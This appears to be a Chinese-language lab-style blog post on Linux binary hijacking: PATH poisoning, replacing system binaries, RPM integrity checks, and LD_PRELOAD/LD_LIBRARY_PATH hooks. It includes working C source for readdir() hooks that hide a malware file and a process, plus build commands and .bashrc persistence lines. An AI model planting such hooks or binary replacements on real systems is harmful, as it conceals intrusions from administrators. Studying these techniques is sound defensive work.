linux二进制污染

linux二进制污染

攻击者通过替换、劫持、篡改、伪造系统二进制文件或其加载流程,使程序执行恶意代码

path污染

PATH 是一个非常核心的环境变量。它指定了系统在执行命令时去哪些目录中寻找对应的可执行程序。

path污染是添加一个path路径,改变命令的执行的二进制文件,指定一个恶意的二进制文件

image-20260526105411177

.bashrc 或 .bash_profile(当前用户生效) /etc/profile 或 /etc/environment(所有用户生效)

添加一个恶意的二进制文件:

1
2
3
4
5
 cat /tmp/ls
#!/bin/bash
echo "hacked"
[root@localhost ~]# chmod +x /tmp/ls

在.bashrc添加一行:

1
export PATH=/tmp:$PATH

image-20260526110607228

使.bashrc配置文件生效,验证:

1
2
3
4
5
6
[root@localhost ~]# source .bashrc 
[root@localhost ~]# ls
hacked
[root@localhost ~]# which ls
alias ls='ls --color=auto'
/tmp/ls

二进制替换

二进制替换是替换或更改系统原有的二进制文件

1
2
3
4
5
6
[root@localhost ~]# mv /usr/bin/ls /usr/bin/ls.bak
[root@localhost ~]# vim /usr/bin/ls
[root@localhost ~]# cat /usr/bin/ls
#!/bin/bash
echo "fake ps"

验证:

1
2
[root@localhost ~]# ls
fake ps

RPM 完整性校验:安装rpm包时,系统会把文件信息(文件大小,MD5,权限,属主,属组,修改时间等)保存到:/var/lib/rpm/数据库中。之后:RPM 可以重新计算当前文件状态,与安装时记录对比。

RPM 包(全称 Red Hat Package Manager)是 Linux 系统的标准软件包格式(文件扩展名 .rpm),主要用于 Red Hat、CentOS、Fedora 等发行版。它将软件的应用程序、配置文件和依赖信息打包在一起,方便用户进行安装、升级和管理。类似于Windows 的 .exe 安装程序

rpm check

1
2
 rpm -Vf /usr/bin/ls
S.5....T. /usr/bin/ls
1
2
3
4
5
6
7
8
S         文件大小是否改变
M 文件的类型或文件的权限(rwx)是否被改变
5 文件MD5校验是否改变(可以看成文件内容是否改变)
D 设备中,从代码是否改变
L 文件路径是否改变
U 文件的属主(所有者)是否改变
G 文件的属组是否改变
T 文件的修改时间是否改变

动态库污染

静态链接:对函数库的链接是放在编译时期(compile time)完成的。所有相关的对象文件(object file)与牵涉到的函数库(library)被链接合成一个可执行文件(executable file)。程序在运行时,与函数库再无瓜葛,因为所有需要的函数已拷贝到自己门下,所以这些函数库被成为静态库(static libaray),通常文件名为“libxxx.a”的形式。

动态链接:把对一些库函数的链接载入推迟到程序运行的时期(runtime)。这就是动态链接库(dynamic link library)技术,动态链接库文件名为“libxxxx.so”的形式。(so有可能是shared object的缩写)

动态链污染就是劫持:程序内部函数

动态链接过程:

1
2
3
4
5
6
7
ELF程序

ld-linux.so

加载共享库

执行main()

ELF 是 Executable and Linking Format 的缩写,它是 Linux 平台上通用的二进制文件格式

LD_PRELOAD 劫持

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实例:隐藏malware文件

首先在tmp目录下创建一个malware文件

image-20260526142812661

编写一个恶意库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
//重新定义了 libc 的 readdir()
struct dirent *readdir(DIR *dirp)
{
static struct dirent *(*old_readdir)(DIR *) = NULL;
//获取真实 libc readdir
old_readdir = dlsym(RTLD_NEXT, "readdir");

struct dirent *dir;
//判断隐藏文件
while ((dir = old_readdir(dirp)))
{
if (strcmp(dir->d_name, "malware") == 0)
continue;//跳过当前目录项

return dir;
}

return NULL;
}

编译:

1
gcc -shared -fPIC evil.c -o evil.so -ldl

添加环境变量:

1
export LD_PRELOAD=./evil.so

执行ls:

image-20260526143407862

执行过程:

1
2
3
4
5
6
7
8
9
ls

evil.so readdir()

真正libc readdir()

过滤 malware

返回过滤后的结果
LD_LIBRARY_PATH 污染

LD_LIBRARY_PATH 是 Linux 动态链接器里的一个核心环境变量。**作用:**指定动态库(.so)搜索路径。

Linux 动态库加载顺序通常:LD_PRELOAD-->LD_LIBRARY_PATH-->RPATH / RUNPATH-->ld.so.cache-->系统默认目录

实例,隐藏一个进程:

创建一个进程:

1
sleep 1000 &

image-20260526151000893

编写恶意 libcHook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define _GNU_SOURCE

#include <dirent.h>
#include <string.h>
#include <dlfcn.h>

struct dirent *readdir(DIR *dirp)
{
static struct dirent *(*old_readdir)(DIR *) = NULL;

if (!old_readdir)
{
old_readdir = dlsym(RTLD_NEXT, "readdir");
}

struct dirent *dir;

while ((dir = old_readdir(dirp)) != NULL)
{
/*
* 隐藏 PID 20903
*/
if (strcmp(dir->d_name, "20903") == 0)
{
continue;
}

return dir;
}

return NULL;
}

编译:

1
gcc -shared -fPIC evil.c -o /tmp/evil/libc.so.6 -ldl

image-20260526152050849

1
[root@localhost ~]# echo "export LD_LIBRARY_PATH=/tmp/evil" >> .bashrc 

验证:

1
ps aux |grep sleep

当然没成功。编写的libc.so.6只是一个 Hook so,并不完整。

RPATH/RUNPATH 污染

与LD_LIBRARY_PATH 污染类似

参考:

https://www.cnblogs.com/net66/p/5609026.html

Previous postXSS-Labs靶场通关Next poststruts2历史漏洞复现